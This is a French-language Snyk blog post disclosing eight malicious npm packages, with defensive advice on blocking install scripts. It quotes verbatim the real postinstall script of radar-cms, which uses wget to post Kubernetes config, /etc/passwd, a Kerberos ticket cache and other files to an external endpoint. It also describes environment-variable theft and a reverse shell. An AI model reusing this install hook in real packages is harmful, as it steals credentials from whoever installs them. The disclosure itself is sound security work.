Skip to main content

Snyk révèle des activités malveillantes dans la chaîne d’approvisionnement open source sur le registre npm

Écrit par
Snyk Advisor for malicious npm package

5 mai 2021

0 minutes de lecture

L’open source aide les développeurs à aller plus vite. Mais qui veille à la sécurité de ces dépendances open source, parfois abandonnées depuis des années ? Lors d’une récente recherche sur la sécurité de npm, Snyk a découvert 8 packages npm correspondant à un vecteur d’attaque spécifique reposant sur du code malveillant. Ces packages malveillants utilisaient des scripts de préinstallation et de postinstallation qui leur permettaient d’exécuter des commandes arbitraires lors de leur installation.

Voici les packages malveillants :

Après avoir identifié ces packages, Snyk les a signalés à l’équipe de sécurité de npm afin qu’ils soient marqués comme malveillants et supprimés du registre npm, pour protéger les utilisateurs finaux. L’écosystème npm est ouvert par nature : tout le monde peut y soumettre des packages. Cela concerne même ceux qui ne sont pas publiés en open source via un dépôt, ou qui peuvent intégrer des portes dérobées ou d’autres codes malveillants. Avec plus de 1,5 million de packages, surveiller l’écosystème npm et tous les repérer à temps est une tâche difficile, ce qui en fait un terrain de jeu lucratif pour les attaquants.

Maintenant que ces packages ont été signalés, voyons comment ils fonctionnaient et ce qu’ils cherchaient à faire.

Que nous apprend l’analyse de packages npm malveillants ?

Commençons par radar-cms. Ce package utilisait d’abord une technique intéressante pour se dissimuler : le fichier tarball dépassait 1 Mo, ce qui visait probablement à passer sous le radar de certains systèmes, notamment l’onglet Explore de npm, lorsqu’on parcourt les packages sur npmjs.com. La capture d’écran ci-dessous montre comment cette taille accrue empêchait d’examiner le package malveillant radar-cms sur sa page npm :

Page du package npm radar-cms affichant une erreur indiquant que le fichier du package est trop volumineux ou que sa dernière date de publication est trop ancienne

Une fois installé, le code malveillant de radar-cms ciblait spécifiquement l’exfiltration d’informations depuis les hôtes. Voici le script postinstall du package malveillant d’origine, trouvé dans son fichier package.json :

"postinstall": "wget --post-file ~/.kube/config https://entfet95itcxpuu.m.pipedream.net;wget --post-file package.json https://entfet95itcxpuu.m.pipedream.net;wget --post-file /etc/passwd https://entfet95itcxpuu.m.pipedream.net;wget --post-file /tmp/krb5cc_0 https://entfet95itcxpuu.m.pipedream.net;wget --post-file /etc/hosts https://entfet95itcxpuu.m.pipedream.net"

Comment auriez-vous pu empêcher cette attaque ? (Si vous avez déjà lu mon article sur les bonnes pratiques de sécurité pour npm, vous connaissez sûrement la réponse.)

L’une des bonnes pratiques pour installer des packages en toute sécurité consiste à empêcher npm d’exécuter des commandes arbitraires lors de leur installation. La prochaine fois que vous installerez un package npm, pensez à utiliser l’argument de ligne de commande suivant pour éviter que des packages exécutent des commandes arbitraires :

npm install --ignore-scripts

Ou, si vous utilisez yarn :

yarn install --ignore-scripts

Nous avons ensuite trouvé un ensemble de packages npm nommés paychex-*. Ils étaient conçus pour voler des données issues des variables d’environnement lors de leur installation — cette fois à l’aide d’un hook de script preinstall — et les envoyer à un serveur distant. Ils sont tous signalés comme malveillants dans la base de données de Snyk :

Résultats de recherche dans la base de données des vulnérabilités pour « paychex », affichant plusieurs packages npm malveillants publiés le 7 mars 2021

Enfin, le package malveillant rcenodejs utilisait un script preinstall similaire, qui créait un shell inversé permettant à des attaquants distants de se connecter.

Dans tous ces cas, vous pouvez empêcher l’exécution de code arbitraire pendant l’installation d’un package en utilisant simplement :

npm install --ignore-scripts

Que faire pour sécuriser la chaîne d’approvisionnement logicielle sur npm ?

Tout d’abord, il serait utile de pouvoir déterminer qu’un package npm est malveillant. Cela n’apparaît pas toujours clairement sur les pages de npmjs et, une fois le package installé, il est déjà trop tard.

Pour vous aider, Snyk Advisor indique clairement si un package a été identifié comme malveillant et ne doit pas être installé. Par exemple, la page Advisor du package npm rcenodejs signale une vulnérabilité de sécurité malveillante CWE-506.

Page Snyk Advisor du package npm rcenodejs, indiquant qu’il est malveillant et qu’il utilise un script preinstall pour exécuter un shell inversé.

Plus nous créons de logiciels, plus nous nous exposons à des risques de sécurité. Pour vous aider à adopter les bonnes pratiques et à utiliser des outils qui réduisent les risques ou atténuent complètement ce type d’incident, je vous recommande ce qui suit :

  1. Consultez ces 10 bonnes pratiques de sécurité pour npm afin de suivre les conventions de sécurité lorsque vous utilisez des logiciels open source. Elles incluent notamment l’activation de l’authentification à deux facteurs sur npmjs et la désactivation de l’exécution de commandes arbitraires par des logiciels open source tiers inconnus.

  2. Si vous créez des conteneurs Docker Node.js, suivez les étapes décrites dans l’article sur les bonnes pratiques de sécurité pour créer des conteneurs Node.js prêts pour la production.

Lire la suite

Blog

Les modèles de pointe ont trouvé les vulnérabilités. Seul l’attaquant a trouvé les chaînes d’exploitation.

L’analyse statique a détecté les failles, mais seuls des tests d’attaque en conditions réelles ont prouvé comment elles pouvaient être enchaînées pour provoquer des compromissions. Comparaison d’Evo COS, de Claude Security et de Claude Code Security.

feature insights context
Blog

Les attaques autonomes sont déjà là. La défense doit suivre leur rythme.

Les attaquants autonomes réduisent la fenêtre de défense. Découvrez comment la découverte, la correction, la validation et la prévention continues peuvent aider les équipes de sécurité à suivre le rythme.

Blog

Pourquoi les agents de codage IA créent-ils sans cesse des failles de contrôle d’accès ?

Les agents de codage IA peuvent générer une logique d’autorisation qui compile et passe la revue, tout en exposant les données d’un tenant à un autre. Découvrez pourquoi les failles de contrôle d’accès sont difficiles à détecter et comment les prévenir.